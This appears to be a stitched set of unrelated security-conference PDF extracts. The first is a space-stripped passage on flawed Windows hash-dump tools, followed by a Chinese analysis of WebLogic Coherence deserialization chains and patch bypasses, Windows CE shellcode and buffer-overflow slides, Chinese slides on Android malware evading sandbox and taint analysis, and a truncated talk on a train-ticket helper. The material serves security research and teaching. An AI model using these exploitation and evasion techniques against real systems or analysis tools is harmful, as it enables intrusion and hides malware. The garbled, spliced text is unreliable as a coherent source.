Ofthesetools,therewasamixofbothopen‐sourceandclosed‐sourceprojects.By examiningthesourcecodefromtheopensourcetools,thehashestheyproduced andthehashesproducedfromtheclosedsourcetools,itwasclearthatsimilarlogic wasusedbyallofthem,whichresultedinthesameincorrecthashes. Intracingtheoriginofthesetools,itwasdeterminedthatPwdumpversion1 (Pwdump)waslikelythefirsttooltoreverseengineertheprocessofgathering hashesfromtheregistry. BeingthatPwdumpwasanopen‐sourcetool,itwasclearlyasourceofinformation andinspirationforothernewtoolauthorsthateventuallybeganusingthis approachandassociatedlogicforparsingregistrydata.Byreadingthroughtool changelogs,blogpostsandotheronlinesources,thefollowingrelationshipdiagram wasconstructedtoshowhowPwdumphadinfluencedthesetoolsandhowit’s influencespreadthroughgenerationsoftools. Figure:11A Althoughtheserelationshipsareimportantinshowinghowallthesetoolsendedup usingthesimilarlogic,itisequallyifnotmoreimportanttounderstandthe chronologicaltime‐lineofwhenthesetoolsweredevelopedasseeninthefollowing diagram. Figure:11B Theabovediagramcontainstwoentriesforsamdump2becausein2007,samdump2 identifiedthataflawexistedanddevelopedacodefixforthisissueintheir1.1.1 release.Ironically,5yearslaterthetoolsthatSamdump2helpedinfluencedirectly orindirectly,still(atthetimeofthiswriting)usetheincompletelogicas implementedinthe1.0.1releaseofSamdump2andPwdumpversion1asdiscussed inthetechnicalsectionofthispaper. Conclusions and Take Aways  Securityprofessionalsthatareusingextractiontoolstoobtainpasswordhashes fromWindows‐basedsystemsviatheregistryareregularlyreceivingcorrupted hashes.Thisisduetoalogicflawusedbymanytoolsthatwasdescribedindetail withinthiswhitepaper. Inadditiontotheidentificationoftheflawanditshistory,patcheshavebeen developedforbothMetasploitandCreddump,whicharebothopen‐source.The goalherewastoensurethatmanyofthetoolsdescribedhereareupdatedtoutilize theimprovedlogicdescribedinthispaper.Tothisend,anactiveoutreachto closed‐sourcetooldevelopersinthisspace,suchasCainandAble,L0phtcrack, Pwdump7andFgdump,isalreadyunderwayandsomeoftheseupdatesarealready indevelopmentandshouldbeavailablesoon. Definition of Terms  Hash–Theactualpasswordhash(LMorNTLM)thatisgeneratedfromHashData thatrepresentstheencryptedformofaclear‐textpassword.Thisiswhatcanbe directlysuppliedtoacrackingtoolsuchasJohntheRipper(JtR). HashData–Thesource(orseed)datathatisstoredwithintheregistrykey“V”for eachuserthatistransformedintoeitheraLMorNTLMhashthroughaseriesof cryptographicalgorithms.Thisdataalonecannotbedirectlysuppliedtoacracking toolsuchasJohntheRipper(JtR). HashDataSection–AsubsetoftheVkeystoredintheSAMhiveforeachuserthat containshashdata,whichhasyettobeparsedintohashdataelements. References  Clark,Peter."SecurityAccountsManager."SecurityAccountsManager. Beginningtoseethelight.org,3Apr.2005.Web.01June2012. <http://www.beginningtoseethelight.org/ntsecurity/>. Dolan‐Gavitt,Brendan."CredDump:ExtractCredentialsfromWindowsRegistry Hives."PushtheRedButton.Moyix.blogspot.com,20Feb.2008.Web.05July 2012.<http://moyix.blogspot.com/2008/02/creddump‐extract‐credentials‐ from.html>. Dolan‐Gavitt,Brendan."SysKeyandtheSAM."PushtheRedButton. Moyix.blogspot.com,21Feb.2008.Web.01June2012.< http://moyix.blogspot.com/2008/02/syskey‐and‐sam.html>. Dolan‐Gavitt,Brendan."Creddump‐0.2.tar.bz2‐Creddump‐Creddump0.2‐ ExtractsCredentialsfromWindowsRegistryHives."CreddumpSourceCode Repository.N.p.,Feb.2008.Web.01June2012. <http://code.google.com/p/creddump/downloads/detail?name=creddump‐ 0.2.tar.bz2>. Fizzgig."Fgdump:AToolForMassPasswordAuditingofWindowsSystems." Http://fgdump.com/.Fizzgig,8Oct.2011.Web.01June2012. <http://fgdump.com/fgdump/>. Moore,HD."Bug#4402:HashdumpScript/postModuleBreakswithPasswords Greaterthan14Characters."MetasploitFrameworkIssueTracker.Rapid7,11 Mar.2011.Web.1June2012. <http://dev.metasploit.com/redmine/issues/4402>. Moore,HD."Metasploit‐framework/Scripts/Meterpreter/Hashdump.rb." MetasploitSourceCodeRepository.Rapid7,31Dec.2009.Web.05July2012. <https://github.com/rapid7/metasploit‐ framework/blob/4512089a34adafa05a477a5b86b911658d6b80ae/scripts/ meterpreter/hashdump.rb>. Moore,HD."Safe,Reliable,HashDumping."MetasploitCommunityBlog.Rapid7,01 Jan.2010.Web.05July2012. <https://community.rapid7.com/community/metasploit/blog/2010/01/01 /safe‐reliable‐hash‐dumping>. Mueller,Lance."ComputerForensics,MalwareAnalysis&DigitalInvestigations: BypassingaWindowsLoginPasswordinOrdertoBootinaVirtualMachine." ForensickKB.Forensickb.com,22Feb.2008.Web.1June2012. <http://www.forensickb.com/2008/02/bypassing‐windows‐login‐ password‐in.html>. Oechslin,Philippe,andCedricTissieres."Ophcrack‐Samdump2(samdump2‐ 1.1.1.tar.gz)."OphcrackSourceCodeRepository.SourceForge,22Nov.2007. Web.05July2012. <http://sourceforge.net/projects/ophcrack/files/samdump2/1.1.1/>. "Oxid.it‐Cain&Abel."Oxid.it‐Cain&Abel.Oxid.it,n.d.Web.01June2012. <http://www.oxid.it/cain.html>. Rioux,Christien,ChrisWysopal,andPeiterMudgeZatko."L0phtCrackPassword AuditorV6‐Documentation."L0phtCrackPasswordAuditor.L0phtcrack.com, n.d.Web.01June2012.<http://www.l0phtcrack.com/help/index.html>. "SAMInside."InsideProPasswordRecoverySoftware.InsideProSoftware,n.d.Web. 01June2012.<http://www.insidepro.com/eng/saminside.shtml>. Tarasco,Andres,andMiguelTarasco."PasswordDumperPwdump7(V7.1)." TarascoSecurity.Tarasco.org,03Oct.2010.Web.05July2012. <http://www.tarasco.org/security/pwdump_7/>.
pdf
前言 Coherence 组件是 WebLogic 中的一个核心组件,内置在 WebLogic 中。关于 Coherence 组件的官方 介绍:https://www.oracle.com/cn/java/coherence/ 近些年,weblogic Coherence 组件反序列化漏洞被频繁爆出,苦于网上没有公开对 weblogic Coherence 组件历史反序列化漏洞的总结,导致很多想入门或者了解 weblogic Coherence 组件反序列 化漏洞的朋友不知道该怎么下手,于是本文便对 weblogic Coherence 组件历史反序列化漏洞做出了一 个总结和分析。 关于 Coherence 组件反序列化漏洞利用链的架构,我把他分为两个,一个是基于 ValueExtractor.extract 的利用链架构,另一个则是基于 ExternalizableHelper 的利用链架 构。 前置知识 想理清 WebLogic 的 Coherence 组件历史反序列化漏洞需要首先了解一些 Coherence 组件反序列化漏 洞中经常会涉及的一些接口和类。他们在 Coherence 组件反序列化漏洞利用中经常出现。 ValueExtractor com.tangosol.util.ValueExtrator 是一个接口: 在 Coherence 中 很多名字以 Extrator 结尾的类都实现了这个接口: 这个接口中声明了一个 extract 方法,而 ValueExtractor.extract 正是 Coherence 组件历史漏洞 ( ValueExtractor.extract 链部分 )的关键。 ExternalizableLite Coherence 组件中存在一个 com.tangosol.io.ExternalizableLite ,它继承了 java.io.Serializable ,另外声明了 readExternal 和 writeExternal 这两个方法。 com.tangosol.io.ExternalizableLite 接口 和 jdk 原生的 java.io.Externalizable 很像,注意 不要搞混了。 ExternalizableHelper 上面提到的 com.tangosol.io.ExternalizableLite 接口的实现类的序列化和反序列化操作,都是通 过 ExternalizableHelper 这个类来完成的。 我们可以具体看 ExternalizableHelper 这个类是怎么对实现 com.tangosol.io.ExternalizableLite 接口的类进行序列化和反序列化的,这里以 readObject 方 法为例, writeObject 读者可自行去查看: 如果传入的 DataInput 不是 PofInputStream 的话(Coherence 组件历史漏洞 涉及到的 ExternalizableHelper.readObject 传入的 DataInput 都不是 PofInputStream ), ExternalizableHelper#readObject 中会调用 ExternalizableHelper#readObjectInternal 方 法: readObjectInternal 中会根据传入的中 nType 进行判断,进入不同的分支: 对于实现 com.tangosol.io.ExternalizableLite 接口的对象,会进入到 readExternalizableLite 方法: 可以看到在 readExternalizableLite 中 1125 行会根据类名加载类,然后并且实例化出这个类的对 象,然后调用它的 readExternal() 方法。 漏洞链 ValueExtractor.extract 我们在分析反序列化利用链的时候,可以把链分为四部分,一个是链头,一个是危险的中间的节点(漏 洞点),另一个是调用危险中间节点的地方(触发点),最后一个则是利用这个节点去造成危害的链 尾。 在 Coherence 组件 ValueExtractor.extract 利用链架构中,这个危险的中间节点就是 ValueExtractor.extract 方法。 漏洞点 ReflectionExtractor ReflectionExtractor 中的 extract 方法含有对任意对象方法的反射调用: 配合 ChainedExtractor 和 ConstantExtractor 可以实现类似 cc1 中的 transform 链的调用。 涉及 CVE CVE-2020-2555,CVE-2020-2883 MvelExtractor MvelExtrator 中的 extract 方法,会执行任意一个 MVEL 表达式(RCE): 而在序列化和反序列化的时候 m_sExpr 会参与序列化和反序列化: 所以 m_xExpr 可控,所以就导致可以利用 MvelExtrator.extrator 来达到执行任意命令的作用。 涉及 CVE CVE-2020-2883 UniversalExtractor UniversalExtractor (Weblogic 12.2.1.4.0 独有) 中的 extract 方法,可以调用任意类中的的 get 和 is 开头的无参方法,可以配合 jdbsRowset ,利用 JDNI 来远程加载恶意类实现 RCE。 具体细节可以参考:https://nosec.org/home/detail/4524.html 涉及 CVE CVE-2020-14645,CVE-2020-14825 , CVE-2020-14841 LockVersionExtractor oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor 中的 extract() 方法,可以调用任意 AttributeAccessor 的 getAttributeValueFromObject 方法,赋 值 Accessor 为 MethodAttributeAccessor 进而可以实现调用任意类的无参方法。 具体细节可参考:https://cloud.tencent.com/developer/article/1740557 MethodAttributeAccessor.getAttributeValueFromObject ,本质是利用 MethodAttributeAccessor.getAttributeValueFromObject 中存在任意无参方法调用,在 CVE- 2021-2394 中也利用到了。 涉及 CVE CVE-2020-14825 , CVE-2020-14841 FilterExtractor.extract filterExtractor.extract 中存在任意 AttributeAccessor.getAttributeValueFromObject(obj) 的调用,赋值 this.attributeAccessor 为 上面说的 MethodAttributeAccessor 就可以导致任意无参方法的调用。 关于 readAttributeAccessor 的细节可以看 CVE-2021-2394:https://blog.riskivy.com/weblogic-cv e-2021-2394-rce%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/ 和 https://www.cnblogs.com/ potatsoSec/p/15062094.html 。 涉及 CVE CVE-2021-2394 触发点 上面例举出了很多危险的 ValueExtractor.extract 方法,接下来再看看哪里存在调用 ValueExtractor.extract 方法的地方。 Limitfiler Limitfiler 中 Limitfiler.toString 中存在任意 ValueExtractor.extract 方法调用: 由于 this.m_comparator 参与序列化和反序列化,所以可控: 我们只需要赋值 this.m_comparator 为 恶意的 ValueExtractor 就可以实现任意 ValueExtractor .extract 方法的调用。 toString 方法,则可以利用 CC5 中用到的 BadAttributeValueExpException 来触发。 涉及 CVE CVE-2020-2555 ExtractorComparator ExtractorComparator.compare ,其实是针对 CVE-2020-2555 补丁的绕过,CVE-2020-2555 的修复 方法中修改了 Limitfiler.toString 方法,也就是说修改了一个调用 ValueExtractor.extract 方 法的地方。 而 CVE-2020-2883 则找到另一个调用 ValueExtractor.extract 的地方,也就是 ExtractorComparator.compare 。 在 ExtratorComparator.compare 中存在任意(因为 this.m_extractor 参与序列化和反序列化) ValueExtractor 的 extract 方法调用。 Comparator.compare 方法,则可以通过 CC2 中用到的 PriorityQueue.readObject` 来触发。 另外在 weblogic 中, BadAttributeValueExpException.readObject 中也可以实现调用任意 compartor.compare 方法: 涉及 CVE CVE-2020-2883,修复方法是将 ReflectionExtractor 和 MvelExtractor 加入了黑名单 。 CVE-2020-14645 使用 com.tangosol.util.extractor.UniversalExtractor 绕过,修复方法将 UniversalExtractor 加入黑名单。 CVE-2020-14825,CVE-2020-14841 使用 oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor.LockVer sionExtractor 进行绕过。 ExternalizableHelper 在分析 ExternalizableHelper 利用链架构的时候,我们依然可以把链分为四部分,一个是链头,一个 是危险的中间的节点(漏洞点),另一个是调用危险中间节点的地方(触发点),最后一个则是利用这 个节点去造成危害的链尾。 在 ExternalizableHelper 利用链架构中,这个危险的中间节点就是 ExternalizableLite.readExternal 方法。 weblogic 对于反序列化类的过滤都是在加载类时进行的,因此在 ExternalizableHelper.readExternalizableLite 中加载的 class 是不受黑名单限制的。 具体原因是:weblogic 黑名单是基于 jep 290 ,jep 290 是在 readObject 的时候,在得到类名后去检 查要反序列化的类是否是黑名单中的类。而这里直接使用的 loadClass 去加载类,所以这里不受 weblogic 黑名单限制。(也可以这么理解: jep 290 是针对在反序列化的时候,通过对要加载类进行黑 名单检查。而这里直接通过 loadClass 加载,并没有通过反序列化,和反序列化是两码事,当然在后 续 readExternal 的时候还是受 weblogic 黑名单限制,因为走的是反序列化那一套) weblogic 黑名单机制可以参考:https://cert.360.cn/report/detail?id=c8eed4b36fe8b19c585a1817b5 f10b9e,https://cert.360.cn/report/detail?id=0de94a3cd4c71debe397e2c1a036436f,https://ww w.freebuf.com/vuls/270372.html 漏洞点 PartialResult com.tangosol.util.aggregator.TopNAggregator.PartialResult 的 readExternal 会触发任意 compartor.compare 方法。 大致原理: 具体分析见:https://mp.weixin.qq.com/s/E-4wjbKD-iSi0CEMegVmZQ 然后调用 comparator.compare 就可以接到 ExtractorComparator.compare 那里去了,从而实现 rce 。 涉及 CVE CVE-2020-14756 (1月) ExternalizableHelper 的利用第一次出现是在 CVE-2020-14756 中。利用的正是 ExternalizableHelper 的反序列化通过 loadClass 加载类,所以不受 weblogic 之前设置的黑名单 的限制。具体利用可以参考:https://mp.weixin.qq.com/s/E-4wjbKD-iSi0CEMegVmZQ CVE-2020-14756 的修复方法则是对 readExternalizable 方法传入的 Datainput 检查,如果是 ObjectInputStream 就调用 checkObjectInputFilter() 进行检查, checkObjectInputFilter 具体是 通过 jep290 来检查的。 在 149 行会把comparator 作为参数传入 TreeMap 的构造函数中。 然后 15 行,会调用 this.add ,this.add 会调用 this.m_map.put 方法,也就是说调用了 TreeMap 的 put 方法,这就导致了 comparator.compare()的调用。 CVE-2021-2135 (4月) 上面补丁的修复方案 只是检查了 DataInput 为 ObjectInputStream 的情况, 却没有过滤其他 DataInput 类型 。 那我们只需要找其他调用 readExternalizableit 函数的地方,并且传入的参数不是 ObjectInputStream 就可以了。【 ObjectInputStream 一般是最常见的,通常来说是 readObject => readObjectInternal => readExternalizableite 这种链,也就是上游是常见的 readObject , 所 以补丁就可能只注意到ObjectInputStream 的情况。】 所以CVE-2021-2135 绕过的方法就是设置传入 readExternalizableite 函数的参数类型为 BufferInput 来进行绕过。 ExternalizableHelper 中调用 readObjectInternal 的地方有两处,一处是 readObjectInternal , 另一处则是 deserializeInternal 。而 deserializeInternal 会先把 DataInput 转化为 BufferInut : 所以只要找调用 ExternalizableHelper .deserializeInternal 的地方。 而 ExternalizableHelper.fromBinary (和 ExternalizableHelper.readObject 平级的关系 ) 里就调用了 deserializeInternal , 所以只需要找到一个地方用 来 ExternalizableHelper.fromBinary 来反序列化就可以接上后面的(CVE-2020-14756)利用链了。 然后就是找 调用了 ExternalizableHelper.fromBinary 的方法的地方。 SimpleBinaryEntry 中的 getKey 和 getValue 方法中存在 ExternalizableHelper.fromBinary 的调用,所以就只要找到调 用 getKey 和 getValue 的地方就可以了。 然后在 com.sun.org.apache.xpath.internal.objects.XString 重写的 equals 方法里调用了 tostring ,在 tostring 中调用了 getKey 方法。 ExternalizableHelper#readMap 中会调用 map.put , map.put 会调用 equals 方法。 com.tangosol.util.processor.ConditionalPutAll 的 readExteranl 中调用了 ExternalizableHelper#readMap 方法。 然后再套上 AttributeHolder 链头就可以了。 具体可以参考:https://mp.weixin.qq.com/s/eyZfAPivCkMbNCfukngpzg 4月漏洞修复则是将 simpleBianry 添加到了黑名单。 filterExtractor filterExtractor.reaExternal 方法中的 readAttributeAccessor() 方法会直接 new 一个 MethodAttributeAccessor 对象。 随后在 filterExtractor.extract 函数中会因为调用 this.attributeAccessor.getAttributeValueFromObject 进而导致任意无参方法的调用。 涉及 CVE CVE-2021-2394 (4月) 在4月的补丁中,对 ois 的 DataInput 流进行了过滤,所以直接通过 newInstance 实例化恶意类的方 式已经被阻止(CVE-2021-2135 通过 bufferinputStream 进行了绕过),所以需要重新寻找其他不在 黑名单中的 readExternal 方法。 CVE-2021-2394 中就是利用 filterExtractor.readExternal 来进行突破。 具体可以参考:https://blog.riskivy.com/weblogic-cve-2021-2394-rce%E6%BC%8F%E6%B4%9E%E 5%88%86%E6%9E%90/ 和 https://www.cnblogs.com/potatsoSec/p/15062094.html 触发点 ExternalizableHelper.readExternal 的触发点有 ExternalizableHelper.readObject 和 ExternalizableHelper.fromBinary 这两个。其中 CVE-2021-2135 则就是因为在 CVE-2020-14756 的修复方法中,只注意到了 ExternalizableHelper.readObject ,只在 ExternalizableHelper.readObject 里面做了限制,但是没有考虑到 ExternalizableHelper.fromBinary 从而导致了绕过。 ExternalizableHelper.readObject 可以利用 com.tangosol.coherence.servlet.AttributeHolder 来触发, com.tangosol.coherence.servlet.AttributeHolder 实现了 java.io.Externalizabe 接口,并 且他的 readExternal 方法 调用了 ExternalizableHelper.readObject(in) 。 ExternalizableHelper.fromBinary 的触发则较为复杂一些,具体可以参考:https://mp.weixin.qq. com/s/eyZfAPivCkMbNCfukngpzg 后记 weblogic Coherence 反序列化漏洞很多都是相关联的,对于某个漏洞,很可能就是用到了之前一些漏 洞的链子。其实不仅仅 weblogic ,java 其他反序列化链也是如此,很多情况都是一个链会用到其他链 的一部分。所以在学习中,把一个组件或者一个库的漏洞总结起来一起分析还是比较重要的,最后希望 这篇文章能帮助到其他一起学反序列化的朋友们。如果有错误的地方欢迎师傅们指正。 参考 https://nosec.org/home/detail/4524.html https://cloud.tencent.com/developer/article/1740557 https://blog.riskivy.com/weblogic-cve-2021-2394-rce%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9 E%90/ https://www.cnblogs.com/potatsoSec/p/15062094.html https://cert.360.cn/report/detail?id=c8eed4b36fe8b19c585a1817b5f10b9e https://cert.360.cn/report/detail?id=0de94a3cd4c71debe397e2c1a036436f https://www.freebuf.com/vuls/270372.html https://mp.weixin.qq.com/s/E-4wjbKD-iSi0CEMegVmZQ https://mp.weixin.qq.com/s/eyZfAPivCkMbNCfukngpzg
pdf
Hacking Windows CE san@nsfocus.com san@xfocus.org Structure Overview • Windows CE Overview • Windows CE Memory Management • Windows CE Processes and Threads • Windows CE API Address Search Technology • The Shellcode for Windows CE • Windows CE Buffer Overflow Demonstration • About Decoding Shellcode • Conclusion • Reference Windows CE Overview(1) • Windows CE is a very popular embedded operating system for PDAs and mobiles • Windows developers can easily develop applications for Windows CE • Windows CE 5.0 is the latest version • This presentation is based on Windows CE.net(4.2) • Windows Mobile Software for Pocket PC and Smartphone are also based on the core of Windows CE • By default Windows CE is in little-endian mode Part 1/7 Windows CE Overview(2) • ARM Architecture – RISC – ARMv1 - ARMv6 – ARM7, ARM9, ARM10 and ARM11 – 7 processor modes – 37 registers – 15 general-purpose registers are visible at any one time • r13(sp), r14(lr) – r15(pc) can access directly Memory Management(1) Part 2/7 Memory Management(2) • Windows CE uses ROM (read only memory), RAM (random access memory) – The ROM in a Windows CE system is like a small read-only hard disk – The RAM in a Windows CE system is divided into two areas: program memory and object store • Windows CE is a 32-bit operating system, so it supports 4GB virtual address space • Upper 2GB is kernel space, used by the system for its own data Memory Management(3) • Lower 2GB is user space – 0x42000000-0x7FFFFFFF memory is used for large memory allocations, such as memory- mapped files – 0x0-0x41FFFFFF memory is divided into 33 slots, each of which is 32MB Memory Management(4) • Slot 0 layout Processes and Threads(1) • Windows CE limits 32 processes being run at any one time • Windows CE restricts each process to its own code and data • Every process at least has a primary thread associated with it upon starting (even if it never explicitly created one) • A process can created any number of additional threads (only limited by available memory) • Each thread belongs to a particular process (and shares the same memory space) • Each thread has an ID, a private stack and a set of registers Part 3/7 Processes and Threads(2) • When a process is loaded – Assigned to next available slot – DLLs loaded into the slot – Followed by the stack and default process heap – After this, then executed • When a process’ thread is scheduled – Copied from its slot into slot 0 • This is mapped back to the original slot allocated to the process if the process becomes inactive • Kernel, file system, windowing system all run in their own slots Processes and Threads(3) • Processes allocate stack for each thread, the default size is 64KB, depending on the link parameter when the program is compiled – Top 2KB used to guard against stack overflow – Remained available for use • Variables declared inside functions are allocated in the stack • Thread’s stack memory is reclaimed when it terminates API Address Search(1) • Locate the loaded address of the coredll.dll – struct KDataStruct kdata; // 0xFFFFC800: kernel data page – 0x324 KINX_MODULES ptr to module list – LPWSTR lpszModName; /* 0x08 Module name */ – PMODULE pMod; /* 0x04 Next module in chain */ – unsigned long e32_vbase; /* 0x7c Virtual base address of module */ – struct info e32_unit[LITE_EXTRA]; /* 0x8c Array of extra info units */ • 0x8c EXP Export table position • PocketPC ROMs were builded with Enable Full Kernel Mode option • We got the loaded address of the coredll.dll and its export table position. Part 4/7 API Address Search(2) • Find API address via IMAGE_EXPORT_DIRECTORY structure like Win32. typedef struct _IMAGE_EXPORT_DIRECTORY { ...... DWORD AddressOfFunctions; // +0x1c RVA from base of image DWORD AddressOfNames; // +0x20 RVA from base of image DWORD AddressOfNameOrdinals; // +0x24 RVA from base of image // +0x28 } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY; API Address Search(3) Export Directory Names Ordinals Functions 0x1c address “KernelIoControl” Shellcode(1) • test.asm - the final shellcode – get_export_section – find_func – function implement of the shellcode • It will soft reset the PDA and open its bluetooth for some IPAQs(For example, HP1940) Part 5/7 Shellcode(2) • Something to attention while writing shellcode – LDR pseudo-instruction • "ldr r4, =0xffffc800" => "ldr r4, [pc, #0x108]" • "ldr r5, =0x324" => "mov r5, #0xC9, 30" – r0-r3 used as 1st-4th parameters of API, the other stored in the stack Shellcode(3) • EVC has several bugs that makes debug difficult – EVC will change the stack contents when the stack releases in the end of function – The instruction of breakpoint maybe change to 0xE6000010 in EVC sometimes – EVC allows code modify .text segment without error while using breakpoint. (sometimes it's useful) Buffer Overflow Demo(1) • hello.cpp - the vulnerable program – Reading data from the "binfile" of the root directory to stack variable "buf" by fread() – Then the stack variable "buf" will be overflowed • ARM assembly language uses bl instruction to call function – "str lr, [sp, #-4]! " - the first instruction of the hello() function – "ldmia sp!, {pc} " - the last instruction of the hello() function – Overwriting lr register that is stored in the stack will obtain control when the function returned Part 6/7 Buffer Overflow Demo(2) • The variable's memory address allocated by program is corresponding to the loaded Slot, both stack and heap • The process maybe loaded into the difference Slot at each start time, so the base address always alters • Slot 0 is mapped from the current process' Slot, so its stack address is stable Buffer Overflow Demo(3) Buffer Overflow Demo(4) • A failed exploit –The PDA is frozen when the hello program is executed –Why? •The stack of Windows CE is small •Buffer overflow destroyed the 2KB guard on the top of stack boundary Buffer Overflow Demo(5) • A successful exploit - exp.c – The PDA restarts when the hello program is executed • The program flows to our shellcode About Decoding Shellcode(1) • Why need to decode shellcode? – The other programs maybe filter the special characters before string buffer overflow in some situations – It is difficult and inconvenient to write a shellcode without special characters by API address search method in Windows CE Part 7/7 About Decoding Shellcode(2) • The newer ARM processor has Harvard Architecture – ARM9 core has 5 pipelines and ARM10 core has 6 pipelines – It separates instruction cache and data cache – Self-modifying code is not easy to implement About Decoding Shellcode(3) • A successful example – only use store(without load) to modify self- code – you'll get what you want after padding enough nop instructions – ARM10 core processor need more pad instructions – Seth Fogie's shellcode use this method About Decoding Shellcode(4) • A puzzled example – load a encoded byte and store it after decoded – pad instructions have no effect – SWI does nothing except 'movs pc,lr' under Windows CE – On PocketPC, applications run in kernel mode. So we can use mcr instruction to control coprocessor to manage cache system, but it hasn't been successful yet Conclusion • The codes talked above are the real-life buffer overflow example in Windows CE • Because of instruction cache, the decoding shellcode is not good enough • Internet and handset devices are growing quickly, so threats to the PDAs and mobiles become more and more serious • The patch of Windows CE is more difficult and dangerous Reference • [1] ARM Architecture Reference Manual http://www.arm.com • [2] Windows CE 4.2 Source Code http://msdn.microsoft.com/embedded/windowsce/default.aspx • [3] Details Emerge on the First Windows Mobile Virus http://www.informit.com/articles/article.asp?p=337071 • [4] Pocket PC Abuse - Seth Fogie • http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-fogie/bh-us-04-fogie-up.pdf • [5] misc notes on the xda and windows ce http://www.xs4all.nl/~itsme/projects/xda/ • [6] Introduction to Windows CE http://www.cs-ipv6.lancs.ac.uk/acsp/WinCE/Slides/ • [7] Nasiry 's way http://www.cnblogs.com/nasiry/ • [8] Programming Windows CE Second Edition - Doug Boling • [9] Win32 Assembly Components http://LSD-PLaNET Thank You! san@nsfocus.com san@xfocus.org
pdf
逃离安卓动态检测 目录 • 沙盒检测 • 延时触发 • Taintdroid与反隐私检测 • 自校验与SmaliHook • 条件触发 • 公开沙盒与私有沙盒 沙盒检测 • 通过手机号码来检测 沙盒检测 • 通过NetworkOperator名检测 沙盒检测 • 通过设备ID检测 沙盒检测 • 通过语言信箱号码检测 沙盒检测 • 通过ROM编译文件build.prop的信息检测 沙盒检测 • 通过模拟器没有WIFI支持这个特性来检测 沙盒检测 • 特定沙盒的检测 • 写嗅探程序上传到在线分析网站 • 获取对应的信息(例如手机号) • 判断该信息是否为特定沙盒独有的 沙箱的环境特征 • bouncer • anubis 检测QEMU • 检测qemu的二进制翻译技术(BT) • qemu翻译代码块到宿主机执行 • 在块执行的内部不会给guest产生中断(切换) • 创建2个线程,每个线程循环执行一个代码 块 检测QEMU • 线程1累加设置全局变量 检测QEMU • 线程2打印全局变量的值 • 由于qemu使用了BT技术,所以输出为固定的值 沙盒反检测 • 通过SmaliHook对进行关键特征进行随机化 SmaliHook随机化示例 • 通过对进行关键特征进行随机化 沙盒反检测 • 动态识别检测沙盒的检测代码 延迟触发 • 由于样本量的原因, 沙箱在对样本进行安全检测时 受运行时间限制 • 样本在运行后延迟执行恶意代码 • 常见可以用来做延迟执行的类函数有 • alarm类,sleep, timer类, message 延迟触发 • 利用Message延迟30分钟后执行恶意代码 延迟触发的应对 • 通过smalihook对关键函数进行拦截 • 缩短延迟函数的时间 Taintdroid与反隐私检测 • Taintdroid做了什么 • Taintdroid如何做到的 • 绕过Taintdroid Taintdroid原理 • Taintdroid可以监控到加密上传手机号 Taintdroid原理 • Taintdroid改写了Dalvik VM用到的一些结构体 , 加入了自己的标记. Taintdroid原理 • 拦截获取隐私数据的函数,给数据加标记 Taintdroid原理 • 给数据加标记的函数 Taintdroid原理 • charAt时,也会做标记 Taintdroid原理 • 对于数据移动转换做的处理 Taintdroid原理 • 在数据外发的点做拦截,判断标记 • 发送短信时判断是否为隐私数据 Taintdroid支持的隐私数据种类 反隐私检测 • 通过switch/case 给一份没有被标记的数据 Taintdroid与反隐私检测 • Taintdroid默认会阻止SO加载 自校验与SmaliHook • SmaliHook – 就是把APK文件反编译, 然后对smali代码进行 修改, 把调用的关键系统API改成我们自己实现 的派遣函数 – 自己的派遣函数做相应的处理,或返回假结果 , 或调用原始函数 SmaliHook • smali 代码hook前 SmaliHook • smali 代码hook后 签名自校验绕过SmaliHook JNI绕过smali hook 条件触发 • 系统消息触发 • 用户操作触发 • 接收指令触发 条件触发 • 针对条件触发的对策 • 反编译APK • 分析权限,接收器 • 分析smali代码 • 做对应的行为触发 条件触发 • 例如在xml文件中扫描到相应的监控短信权 限, 可以向模拟器发送一条短信,尝试触发 相关的代码 • telnet localhost 5554 • sms send +10086 "hello world" 公开沙盒与私有沙盒 • 公开沙盒 – 隐蔽性差,要做大量随机化操作 • 私有沙盒 – 隐蔽性好 • 若联网,隐蔽性丧失 • 若断网,大量行为无法触发,需要模拟网络 谢谢大家! 技术追求就是最高成就感 订票助手一日谈 春运是怎么回事? • 春运是大陆特有的一种在春节和国庆时集 中爆发的客运问题 • 根本原因在于地区间发展水平差异过大, 导致过多人需要背井离乡工作赚取收入 • 在所有运输方式中,铁路作为运力最大最 经济的运输模式,但依然满足不了庞大的 运力需求 春运到底有多庞大? 为什么订票助手出现了? • 早期的12306网站有着负载能力的问题。在 买票高峰期,经常性会提示系统繁忙,操 作失败,让用户的时间和精力在无形中浪 费 • 早期的12306网站本身存在漏洞,最经典的 漏洞就是验证码漏洞 • 12306自身作为一个社会服务性的网站,本 身的功能欠缺,而用户体验也较差 订票助手有什么用? • 早期的订票助手定位于在系统繁忙的时候 利用系统自身的功能帮助用户自动重新操 作,从而节约时间和精力。主要包括刷新 查询等着票出来,以及在系统繁忙时自动 重新操作 • 由于购票需求过于旺盛,导致虽然功能如 此简单,但依然流传很广。据估计当时用 户已经上万。 订票助手有什么用? • 由于很快引起铁道部注意,因此这些可以 自动操作的地方很快被封锁。 • 后期助手发展方向是为网站本身添加更多 更加实用、智能、可以提高买票效率的功 能。 春运中的订票助手 • 在2013年时,为了让更多人更方便买票, 和猎豹浏览器构成了无条件合作协议,为 猎豹浏览器定制了专用版本 • 由于猎豹浏览器用户数很大,导致被媒体 注意,并进一步引起铁道部注意 • 与此同时,因为原老版本设计中与GitHub相 关的内容,再次在新浪微博中引起讨论 订票助手和GitHub • 订票助手因为特殊需要,必须增加自动更新功能 。早期的升级是用自己服务器的,并且每次返回 的信息量很小(大约100-200字节) • 12306网站用的是HTTPS协议,而新版本的Chrome 和Firefox有些安全限制,要求引用的内容必须也 是HTTPS协议的服务器 • 作者没有HTTPS协议的服务器,看到之前部分类似 脚本引用资源是利用GitHub的服务器,在没有对 GitHub的服务器仔细了解的情况下,便采用了此 方案 订票助手和GitHub • 16日下午GitHub的OPS团队成员Jesse Newland在GitHub上的助手主页Fire了一个 Issue,指出订票助手在12306网站上引用了 部分GitHub上的资源,导致对GitHub的服务 产生了负面的影响,请求移除。 • 其实早在10日的时候,新版本的助手就已 经将这些引用GitHub的资源移除。 订票助手和GitHub • 为什么还会导致此类事情的发生?因为最 初要移除的原因是GitHub的服务在请求量高 的情况下是不可靠的,经常会返回403错误 • 而助手作者对GitHub不够了解,为了尽快让 用户升级,早期版本的助手对GitHub的请求 